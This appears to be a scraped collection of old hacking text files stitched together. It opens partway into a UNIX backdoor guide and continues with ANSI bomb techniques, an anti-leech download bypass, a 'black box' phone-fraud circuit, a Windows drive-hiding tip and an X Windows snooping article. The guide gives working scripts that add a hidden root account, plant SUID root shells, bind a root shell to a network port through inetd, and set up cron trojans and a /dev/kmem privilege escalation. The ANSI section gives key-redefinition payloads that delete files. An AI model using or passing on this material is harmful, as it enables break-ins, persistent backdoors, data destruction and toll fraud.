set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
echo passwd file has $linecount[1] lines.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
echo Creating two files, $linecount[1] lines each \(or approximately that\).
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...

NEVER, EVER, change the root password. The reasons are obvious.

[2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
field).

[3] Leave an SUID root shell in /tmp.

#!/bin/sh
# Everyone's favorite...

cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
chmod 4755 /tmp/.evilnaughtyshell

Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.



The Veiled

[4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
lines look like this:

(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd

Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
This is done with an 'internal' flag in fields (6) and (7).
So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
file, etc...
For the insinuation-impaired, try this:

Open the /etc/inetd.conf in an available editor. Find the line that reads:


daytime stream tcp nowait root internal

and change it to:

daytime stream tcp nowait /bin/sh sh -i.

You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
to do this off peak hours).

[5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
/etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:

(1) (2)/(3) (4)
smtp 25/tcp mail

Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
associated with the service. For instance, add this line to /etc/services:

evil 22/tcp evil

and this line to /etc/inetd.conf:

evil stream tcp nowait /bin/sh sh -i

Restart inetd as before.

Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
they offer rentry from *any* account on *any* computer on the Internet.

[6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
entry has six fields:

(1) (2) (3) (4) (5) (6)
0 0 * * 1 /usr/bin/updatedb

Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
(0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
/etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
shady intentions). Add this line to /var/spool/crontab/root:

0 0 * * * /usr/bin/trojancode

This is the shell script:

#!/bin/csh
# Is our eviluser still on the system? Let's make sure he is.
#daemon9@netcom.com

set evilflag = (`grep eviluser /etc/passwd`)


if($#evilflag == 0) then # Is he there?

set linecount = `wc -l /etc/passwd`
cd # Do this at home.
cp /etc/passwd ./temppass # Safety first.
@ linecount[1] /= 2
@ linecount[1] += 1 # we only want 2 temp files
split -$linecount[1] ./temppass # passwd string optional
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd # or whatever it was beforehand
rm ./xa* ./temppass
echo Done...
else
endif

[7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
/etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
would be ok. Add this line to root's crontab file:


29 2 * * * /bin/usr/sneakysneaky_passwd

make sure this exists:

#echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky

and this is the simple shell script:

#!/bin/csh
# Install trojan /etc/passwd file for one minute
#daemon9@netcom.com

cp /etc/passwd /etc/.temppass
cp /var/spool/mail/.sneaky /etc/passwd
sleep 60
mv /etc/.temppass /etc/passwd

[8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
Make sure it runs as root. Name it something innocous. Hide it well.

/* A little trojan to create an SUID root shell, if the proper argument is
given. C code, rather than shell to hide obvious it's effects. */
/* daemon9@netcom.com */

#include

#define KEYWORD "industry3"
#define BUFFERSIZE 10

int main(argc, argv)
int argc;
char *argv[];{

int i=0;

if(argv[1]){ /* we've got an argument, is it the keyword? */

if(!(strcmp(KEYWORD,argv[1]))){

/* This is the trojan part. */
system("cp /bin/csh /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
/* Put your possibly system specific trojan
messages here */
/* Let's look like we're doing something... */
printf("Sychronizing bitmap image records.");
/* system("ls -alR / >& /dev/null > /dev/null&"); */
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nDone.\n");
return(0);
} /* End main */

[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:

"decode: "|/usr/bin/uudecode"

to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.

#! /bin/csh

# Create our .rhosts file. Note this will output to stdout.

echo "+ +" > tmpfile
/usr/bin/uuencode tmpfile /root/.rhosts

Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
.rhosts file. For a one liner (not faked, however) do this:

%echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com

You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
choosing. Many of the previous scripts and methods can be employed here.



The Covert

[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:

get input;
if input is special hardcoded flag, spawn evil trojan;
else if input is valid, continue;
else quit with error;
...

Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.



The Esoteric

[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
your current process, then spawn a csh, which will inherit this UID. The following program does just that.

/* If /kmem is is readable and writable, this program will change the user's
UID and GID to 0. */
/* This code originally appeared in "UNIX security: A practical tutorial"
with some modifications by daemon9@netcom.com */

#include
#include
#include
#include
#include
#include
#include

#define KEYWORD "nomenclature1"

struct user userpage;
long address(), userlocation;

int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{

int count, fd;
long where, lseek();

if(argv[1]){ /* we've got an argument, is it the keyword? */
if(!(strcmp(KEYWORD,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);

if(fd<0){
printf("Cannot read or write to /dev/kmem\n");
perror(argv);
exit(10);
}

userlocation=address();
where=(lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}

count=read(fd,&userpage,sizeof(struct user));

if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}

printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);

userpage.u_ruid=0;
userpage.u_rgid=0;

where=lseek(fd,userlocation,0);

if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}

write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));

execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}

} /* End main */

#include
#include
#include

#define LNULL ((LDFILE *)0)

long address(){

LDFILE *object;
SYMENT symbol;
long idx=0;

object=ldopen("/unix",LNULL);

if(!object){
fprintf(stderr,"Cannot open /unix.\n");
exit(50);
}

for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
if(!strcmp("_u",ldgetname(object,&symbol))){
fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
ldclose(object);
return(symbol.n_value);
}
}

fprintf(stderr,"Cannot read symbol table in /unix.\n");
exit(60);
}

[12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:

chmod 666 /dev/kmem
sleep 300 # Nap for 5 minutes
chmod 600 /dev/kmem # Or whatever it was before



From The Infinity Concept Issue II

Read More

ANSI Bombs II: Tips and Techniques

       
  I. Introduction
After writing the last file, a lot of people let me know about the
mistakes I had made. I guess this file is to clear up those miscon
ceptions and to let people know about some of the little tricks behind
ANSI bombing. Of course, ANSI bombing isn't as dangerous as a lot of
people make it out to be, but bombs are still fun to make and with a
little planning deliver some degree of success. ANSI bombing can
be dangerous, so I am tired of hearing people say that an ANSI bomb is
harmless, another misconception I hope to clear up. Now, most people
that have spent time experimenting with ANSI bombs probably know most
of the material in this file, but it might be fun just to read anyway.

2. Misconceptions

In my last file, I made three major blunders, or what I would con
sider to be major blunders. First, I said that ANSI bombs could be
used on BBSs to screw people over, but I guess I was wrong. It was
pure speculation on what other people had said that made me say that.
ANSI codes, including those that redefine keys, are sent over the
lines, but most comm programs don't use ANSI.SYS; they use their own
version of ANSI, which doesn't support key redefinition. Some people
might have a program that supports it, but I haven't seen it yet. I
have tested bombs on systems on my own and proved to myself that they
don't work. I have also seen people fuck up bombs that would have
worked by uploading them in a message. The second misconception is
that ANSI bombs are dangerous when put into zips. I haven't really
tested this out much, but from what I hear with the newer versions of
PKZIP, you have to specify that you want to see ANSI comments when
unzipping. It is unlikely that you would waste your time unzipping
something again after seeing "Format C:" in the middle of an escape
code. I could be mistaken, but I'm pretty sure that I'm right. Third,
the last thing that was a misconception is that VANSI.SYS will protect
your system from key redefinition. Maybe the newer versions don't
support key redefinition, but mine sure as hell does. There are pro
grams out there that don't support it, but I don't know any of the
names. Of course, if I were you, I would be wary about using some
thing other then ANSI. I have a few friends that are working on "A
Better ANSI" for PDers, which, instead of being better, really screws
them over.

3. An Overview

Now, in case you haven't read my other file (it's called ANSI.DOC,
kind of lame but fairly informative), I'll briefly go over the struc
ture of an ANSI bomb. Skip this part if you know what an ANSI bomb is
and how to make one.
In ANSI everything is done with a system of escape codes. Key
redefinition is one of those codes. (From now, whenever I say ESC, I
really mean the arrow, ). Here is a basic command:
ESC [13;27p
This would make the <Enter> key (13 is the code for enter) turn
into the <Escape> key (27 is the code for escape). The always has to
be there, as do the bracket and the "p", but what is between the
bracket and the "p" is up to you. The first number is always the key
that you want to be redefined. If there is a zero for the first num
ber, that means the key is in the extended set, and therefore, the
first two numbers are the code. The bracket signifies the beginning
of the definition, and the "p" signifies the end. Whenever you want a
key pressed, you have to use it's numerical code (i.e. 13 is the code
for <Enter>). You can't redefine strings, but you can redefine a key
to become a string (i.e. ESC [13;"Blah"p would make <Enter> say
"Blah"). Strings must be inside of quotes, which includes commands
that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
would delete everything in the directory, note that 13 stands for
Enter in this case, not the redefinition). An escape code can have
as many commands as you want in it, but each one has to be separated
by a semi-colon. You can only redefine one key in each escape code,
so if you want to redefine another key, you have to start another
escape code. That's about it when it comes to bombs, now that you
have the basics, all you really need is a little imagination.

4. Tips and Tricks

A. The Y/N Redefinition

Now, here's a simple but fun little ANSI bomb:

ESC [78;89;13p ESC [110;121;13p

Basically, all this does is turn a capital "N" into "Y" and a
lower-case "n" into "y". Alone this doesn't do too much, except for
screw around with what they are typing. On the other hand, try adding
this line of code to the ANSI bomb:

ESC [13;27;13;"del *.*";13p

Most people would automatically press "N" when they see "Del *.*",
but when they do, they will be screwed over. This portion of a bomb
is very useful when it comes to making good bombs.

B. Screwing with the Autoexec.bat

Here is another line of code that you may find useful in future
bombing projects:

ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
c:\autoexec.bat";13;"type bomb.ans";13;0;109;
13;"cls";13p

This line of code makes the bomb a little more permanent and a
little more dangerous. It copies the bomb into the root directory,
then it change/creates the autoexec.bat, so the bomb is typed after
every boot-up. Of course, the person could just boot off a disk, but
I'm sure this would get them a few time. It could also probably
appear as though it were a virus, scaring the shit out of the owner of
the computer.

C. Turning Commands into Other Commands

One of the best pranks to do to someone using an ANSI bomb is to
redefine commands. That way if they type in "copy", it will turn into
"Del *.*". Since you can't actually change the whole string, you have
to take a different approach. You have to change a few of the keys,
so when typed, they type and execute the desired command. I guess it
would be coolest to have to command exactly the same length; that way
you could redefine one key at a time to obtain the desired effect.
It doesn't really matter how you do it, just as long as it works. You
might make an ANSI that says "Wow, check out what this bomb did to
your directory", and then have it redefine the keys, so when they type
in "dir", it turns into "del". I think you get the idea.

D. Trojans

By now, everybody knows what a Trojan is. You probably wouldn't
think so, but ANSI bombs can be used as Trojans and in Trojans. First,
if you are planning on crashing a board, but you're not very good at
programming, then make yourself an ANSI bomb. Try to find out in
which directory the main files for running the BBS are stored. They
are usually under the name BBS or the name of the software, like WWIV
or Telegard. Then, make a bomb that either just deletes all the files
in that directory, or if you want the board to be down a longer time,
then make one that formats the Hard Drive. In this form ANSI bombs,
if they are well planned out, can be easy to make Trojans. Second,
ANSI bombs can used in Trojans. This is probably stretching it a
little, but say you wanted to write a Trojan that would delete a
directory, every time you typed a certain key, then you could use an
ANSI bomb. First make some batch and com/exe files that would search
for protecting programs like Norton and turn them off. Then you could
copy the file into the root directory, along with your versions of
autoexec.bat, config.sys, ANSI.sys, and whatever else. (To make it
look more realistic make the files Resource.00x to trick the user,
then when copying, use the real name). Then somehow lock the computer
up or do a warm boot through some pd program, which is easily attain
able. When the computer loads back up, you can screw that shit out of
them with your ANSI bomb.

5. Conclusion
It would seem to some people that ANSI bombs are very dangerous,
and to others that they are stupid or lame. Personally, I think that
ANSI bombs are just plain old fun. They're not too hard to make, but
there is a lot that you can do with them. They are nowhere near as
malicious as virii, so if you're looking for unstoppable destruction,
look elsewhere, but they do serve their purpose. I know that there
are programs out there that help you program ANSI bombs, but I think
that they kind of take the fun out of them. Probably, some day soon,
I'll quit making ANSI bombs and start looking more into virii and pure
Trojans. But for now, ANSI bombs suit my purpose.

-TRG

Appendix A: Key Code Program

Here is a small program, which I find very helpful. After loading
it up, it tells you the numeric code for every key you type in. Spe
cial means that it is in the extended set and therefore uses zero, and
"q" ends the program. Unfortunately, I can't take any credit for
this program. I got it over the phone from Heavymetl, and it was made
by his brother. So many thanks go out to Heavymetl and his brother,
even though they'll probably be a little pissed at me for including
this in my file. It is in Pascal and can be compiled in most Turbo
Pascal compilers.

Use CRT;
Var
CH : CHAR;
Begin
Repeat
CH := ReadKey;
If CH = #0 then
Begin
CH := ReadKey;
WriteLn(CH,'(Special) - ',ORD(CH));
End
Else
WriteLn(CH,' - ',ORD(CH));
Until
CH = 'q';
End.

Thanks go out to:

Heavymetl and his brother for the program and ideas. Weapons
Master for the input and the help he has given me. Everybody else who
has helped me out; you know who you are, or at least, you think you
know who you are. Most of all, to those brave soldiers risking their
asses everyday for us half-way across the world in Saudi Arabia. Your
deeds haven't gone unnoticed, of course that's mainly because that's
all the news ever shows nowadays. Also, to anybody else I might have
forgotten. Thanks

Read More

anti leech hacking tutorial

I was just asking to know if there is some audiance before
here is my methode
for hacking anti leech
we gona use a soft calde proxo mitron
proxomitron is an anti bull script web proxy it' works buy applying some rules to elliuminte pop up and many other thing but for our cas we need to desactive all this filtring first goto
w-w.proxomitron.info
download a copy of the soft
then you need to unselect all the option of the soft
and clik on log window
no go to a anti leech web site
use the plug in and not netpumper
in the plugin
add a proxy
you must put this proxy adress
127.0.0.1 8080 for http
the same for ftp
now select the file to download a click download
watch in proximitron log winodws you will see many internal forwarding
if the file are located in a ftp server
proximitron dont handel them
and you will find an error
in a ftp adress
if it's a http adress
you will find some thing like
get /blablalma/bla/file
site tr.com
and you have foudn the adress
it' tr.com/blabla/file

Read More

How to build a black box

 I found this tutorial quite a long time ago and I don't know if it still works. Nevertheless , it might be interresting to read, you might even learn something from it! I would have gladly given credit to it's author but won't since I have no idea who he is. So here is his tutorial that remained unchanged ( I hope!):

A BLACK BOX
is a device that is hooked up to your phone that fixes your phone so that when you get a call, the caller doesn't get charged for the call. This is good for calls up to 1/2 hour, after 1/2 hour the phone Co. gets suspicious, and then you can guess what happens.

What this little beauty does is keep the line voltage from dropping to 10v when you answer your fone. The line is instead kept at 36v and it will make the fone think that it is still ringing while your talking. The reason for the 1/2 hour time limit is that the
phone CO. thinks that something is wrong after 1/2 an hour of ringing.

All parts are available at Radio Shack. Using the least possible parts and arangement, the cost is $0.98 !!!! And that is parts for two of them! Talk about a deal! If you want to splurge then you can get a small PC board, and a switch. There are two
schematics for this box, one is for most normal fones. The second one is
for fones that don't work with the first. It was made for use with a Bell
Trimline touch tone fone.

** Schematic 1 for most fones **
** LED ON: BOX ON **

FROM >--------------------GREEN-> TO
LINE >--! 1.8k LED !---RED--> FONE
!--///--!>--!
! !
------>/<-------
SPST



Parts: 1 1.8k 1/2 watt resistor
1 1.5v LED
1 SPST switch

You may just have two wires which you connect together for the switch.


** Schematic 2 for all fones **
** LED ON: BOX OFF **

FROM >---------------GREEN-> TO
LINE >------- ---RED--> FONE
! LED !
-->/<--!>--
! !
---///---
1.8k
�Parts: 1 2 watt resistor
1 1.5v LED
1 DPST switch


Here is the PC board layout that I recommend using. It is neat and is very easy to hook up.

Schematic #1 Schematic #2

************** ****************
* * * ------- *
* --<LED>--- * * ! ! *
* ! ! * * ! <SWITCH> *
* RESISTOR ! * * ! ! ! *
* ! ! * * ! ! / *
* -------- ! * * ! ! *
* ! ! * * ! <LED>! / *
* --SWITCH-- * * ! ! *
* ! ! * * ! ! / *
L * ! ! * F L * ! ! ! * F
I>RED- -RED>O I>RED- ---RED>O
N>-----GREEN---->N N>-----GREEN------>N
E * h * E E * * E
************** ****************

Once you have hooked up all the parts, you must figure out what set of wires go to the line and which go to the fone. This is because of the fact that LED's must be put in, in a certain direction. Depending on which way you put the LED is what controls what wires are for the line & fone.

How to find out:

Hook up the box in one direction using one set offor line and the other for fone.

*NOTE* For Model I switch should be OFF.
*NOTE* For Model ][ switch should be set to side connecting the led.

Once you have hooked it up, then pick up the fone and see if the LED is on. If it is, the LED will be lit. If is doesn't light then switch the wires and try again. Once you know which are which then label them. *NOTE* - If neither directions worked then your
�lable the switch in its current position as BOX ON.

How to use it:

The purpose of this box is for poeple who call you not to pay so it would make
sence that it can only be used to receive! calls. When the box is *ON* then you may only recieve calls. Your fone will ring like normal and the LED on the box will flash. If you answer the fone now, then the LED will light and the caller will not be charged. Hang up the fone after you are done talking like normal. You will not be able to get a dial-tone or call when the box is on, so turn the box *OFF* for normal calls. I don't recommend that you leave it on all the time, as you don't want it to answer when Ma Bell calls!

Hope it brought something to those who read it.

Read More

Hide Drives and Partitions

Hide Drives and Partitions

Do you have data on a partition or hard drive that you don't want tampered with or easily accessible to other users? Well, you can hide any drive/partition in Windows XP, NT, and 2000. That means that they won't show up in Explorer or My Computer.

If you want access to that drive from your user account you should create a desktop shortcut before proceeding. Once hidden, you can still access by typing the drive letter and a colon in Start/Run—for example, "D:" will bring up a folder of the contents on your D drive.

The easiest way with Win XP is to use the TweakUI power toy from Mcft. Go to Start/Run and type in "tweakui" (without the quotes).

Go to My Computer/Drives and uncheck the drive/partition(s) you want hidden. Click "Apply" or "OK" when finished.


For Win NT, 2000, and XP you can use the following Registry edit:

*Be sure to back up the Registry before proceeding
http://www.worldstart.com/tips/tips.php/401

Open the Registry Editor by going to Start/Run and typing in "regedit" (without the quotes). Find your way to...

HKEY_CURRENT_USER\Software\Mcft\Windows\CurrentVersion\Policies

Click on "Explorer".

Double-click the "NoDrives" key in the right column. If you don't find a "NoDrives" registry key, just right-click in the right pane and choose "New/DWORD Value" then name the key "NoDrives".

You'll see a value like "0000 00 00 00 00". This is where the fun starts. The four sets of double zeros (after the "0000") are where you'll enter the values for the drive/partitions. Now, stay with me on this—it's not as complicated as it sounds:

The first column is for drives A-H, the second for I-P, the third for Q-X, and the fourth for Y-Z.

The values for each drive are as follows:

1 - A I Q Y
2 - B J R Z
4 - C K S
8 - D L T
16 - E M U
32 - F N V
64 - G O W
80 - H P X

So, let's say you want to hide drive D. In the first column you would put "08". For drive K you would put "04" in the second column.

But what if you want to hide more than one drive in a column? Simply add the values together: D+E = 8+16 = 24. So in the first column you would put "24".

Still baffled? If you have XP then go get TweakUI and save yourself the math.

Whichever method you use, you can rest easy knowing that the files on that drive or partition are less accessible to other users.

Read More

Crash Course in X Windows Security

Crash Course in X Windows Security

1. Motivation / introduction
2. How open X displays are found
3. The local-host problem
4. Snooping techniques - dumping windows
5. Snooping techniques - reading keyboard
6. Xterm - secure keyboard option
7. Trojan X programs [xlock and xdm]
8. X Security tools - xauth MIT-MAGIC-COOKIE
9. Concluding remarks





1. Motivation / introduction

X windows pose a security risk. Through a network, anyone can connect
to an open X display, read the keyboard, dump the screen and windows
and start applications on the unprotected display. Even if this is a
known fact throughout the computer security world, few attempts on
informing the user community of the security risks involved have been
made.  This article deals with some of the aspects of X windows
security. It is in no sense a complete guide to the subject, but
rather an introduction to a not-so-known field of computer
security. Knowledge of the basics of the X windows system is
necessary, I haven't bothered including an introductory section to
explain the fundamentals. I wrote some code during the research for
this article, but none of it is included herein.  If the lingual flow
of English seem mayhap strange and erroneous from byte to byte, this
is due to the fact that I'm Scandinavian.  Bare with it. :)





2. How open X displays are found

An open X display is in formal terms an X server that has its access
control disabled. Disabling access control is normally done with the
xhost command.

$ xhost +

allows connections from any host. A single host can be allowed
connection with the command

$ xhost + ZZZ.ZZZ.ZZZ.ZZZ

where Z is the IP address or host-name. Access control can be enabled
by issuing an

$ xhost -

command. In this case no host but the local-host can connect to the
display.  Period. It is as simple as that - if the display runs in
'xhost -' state, you are safe from programs that scans and attaches to
unprotected X displays.  You can check the access control of your
display by simply typing xhost from a shell. Sadly enough, most sites
run their X displays with access control disabled as default. They are
therefore easy prey for the various scanner programs circulating on
the net.

Anyone with a bit of knowledge about Xlib and sockets programming can
write an X scanner in a couple of hours. The task is normally
accomplished by probing the port that is reserved for X windows,
number 6000. If anything is alive at that port, the scanner calls
XOpenDisplay("IP-ADDRESS:0.0") that will return a pointer to the
display structure, if and only if the target display has its access
control disabled. If access control is enabled, XOpenDisplay returns 0
and reports that the display could not be opened.

E.g:

Xlib: connection to "display:0.0" refused by server
Xlib: Client is not authorized to connect to Server

The probing of port 6000 is necessary because of the fact that calling
XOpenDisplay() on a host that runs no X server will simply hang the
calling process. So much for unix programming conventions. :)

I wrote a program called xscan that could scan an entire subnet or
scan the entries in /etc/hosts for open X displays. My remark about
most sites running X displays with access control disabled, originates
from running xscan towards several sites on the internet.





3. The localhost problem

Running your display with access control enabled by using 'xhost -'
will guard you from XOpenDisplay attempts through port number
6000. But there is one way an eavesdropper can bypass this
protection. If he can log into your host, he can connect to the
display of the localhost. The trick is fairly simple. By issuing these
few lines, dumping the screen of the host 'target' is accomplished:

$ rlogin target
$ xwd -root -display localhost:0.0 > ~/snarfed.xwd
$ exit
$ xwud -in ~/snarfed.xwd

And voila, we have a screendump of the root window of the X server
target.

Of course, an intruder must have an account on your system and be able
to log into the host where the specific X server runs. On sites with a
lot of X terminals, this means that no X display is safe from those
with access. If you can run a process on a host, you can connect to
(any of) its X displays.

Every Xlib routine has the Display structure as it's first
argument. By successfully opening a display, you can manipulate it
with every Xlib call available. For an intruder, the most 'important'
ways of manipulating is grabbing windows and keystrokes.






4. Snooping techniques - dumping windows

The most natural way of snarfing a window from an X server is by using
the X11R5 utility xwd or X Window System dumping utility. To get a
grip of the program, here's a small excerpt from the man page

 DESCRIPTION
      Xwd is an X Window System window dumping utility.  Xwd allows Xusers
      to store window images in a specially formatted dump file.  This file
      can then be read by various other X utilities for redisplay, printing,
      editing, formatting, archiving, image processing, etc.  The target
      window is selected by clicking the pointer in the desired window.  The
      keyboard bell is rung once at the beginning of the dump and twice when
      the dump is completed.

Shortly, xwd is a tool for dumping X windows into a format readable by
another program, xwud. To keep the trend, here's an excerpt from the
man page of xwud:


 DESCRIPTION
      Xwud is an X Window System image undumping utility.  Xwud allows X
      users to display in a window an image saved in a specially formatted
      dump file, such as produced by xwd(1).

I will not go in detail of how to use these programs, as they are both
self-explanatory and easy to use. Both the entire root window, a
specified window (by name) can be dumped, or a specified screen.  As a
'security measure' xwd will beep the terminal it is dumping from, once
when xwd is started, and once when it is finished (regardless of the
xset b off command). But with the source code available, it is a
matter of small modification to compile a version of xwd that doesn't
beep or otherwise identifies itself - on the process list e.g.  If we
wanted to dump the root window or any other window from a host, we
could simply pick a window from the process list, which often gives
away the name of the window through the -name flag.  As before
mentioned, to dump the entire screen from a host:

$ xwd -root localhost:0.0 > file

the output can be directed to a file, and read with

$ xwud -in file

or just piped straight to the xwud command.

Xterm windows are a different thing. You can not specify the name of
an xterm and then dump it. They are somehow blocked towards the
X_Getimage primitive used by xwd, so the following

$ xwd -name xterm

will result in an error. However, the entire root window (with Xterms
and all) can still be dumped and watched by xwud. Some protection.






5. Snooping techniques - reading keyboard

If you can connect to a display, you can also log and store every
keystroke that passes through the X server. A program circulating the
net, called xkey, does this trick. A kind of higher-level version of
the infamous ttysnoop.c. I wrote my own, who could read the keystrokes
of a specific window ID (not just every keystroke, as my version of
xkey).  The window ID's of a specific root-window, can be acquired
with a call to XQueryTree(), that will return the XWindowAttributes of
every window present. The window manager must be able to control every
window-ID and what keys are pressed down at what time.  By use of the
window-manager functions of Xlib, KeyPress events can be captured, and
KeySyms can be turned into characters by continuous calls to
XLookupString.

You can even send KeySym's to a Window. An intruder may therefore not
only snoop on your activity, he can also send keyboard events to
processes, like they were typed on the keyboard.  Reading/writing
keyboard events to an xterm window opens new horizons in process
manipulation from remote. Luckily, xterm has good protection
techniques for prohibiting access to the keyboard events.





6. Xterm - Secure keyboard option

A lot of passwords is typed in an xterm window. It is therefore
crucial that the user has full control over which processes can read
and write to an xterm.  The permission for the X server to send events
to an Xterm window, is set at compile time. The default is false,
meaning that all SendEvent requests from the X server to an xterm
window is discarded. You can overwrite the compile-time setting with a
standard resource definition in the .Xdefaults file:

xterm*allowSendEvents True

or by selecting Allow Sendevents on the Xterm Main Options
menu. (Accessed by pressing CTRL and the left mouse button But this is
_not_ recommended. Neither by me, nor the man page. ;) Read access is
a different thing.

Xterms mechanism for hindering other X clients to read the keyboard
during entering of sensitive data, passwords etc. is by using the
XGrabKeyboard() call. Only one process can grab the keyboard at any
one time. To activate the Secure Keyboard option, choose the Main
Options menu in your Xterm window (CTRL+Left mouse button) and select
Secure Keyboard.  If the colors of your xterm window inverts, the
keyboard is now Grabbed, and no other X client can read the KeySyms.

The versions of Xterm X11R5 without patch26 also contain a rather
nasty and very well known security hole that enables any user to
become root through clever use of symbolic links to the password
file. The Xterm process need to be setuid for this hole to be
exploitable.  Refer to the Cert Advisory:
CA-93:17.xterm.logging.vulnerability.






7. Trojan X clients - xlock and X based logins

Can you think of a more suitable program for installing a
password-grabbing trojan horse than xlock? I myself cannot. With a few
lines added to the getPassword routine in xlock.c, the password of
every user using the trojan version of xlock can be stashed away in a
file for later use by an intruder. The changes are so minimal, only a
couple of bytes will tell the real version from the trojan version.

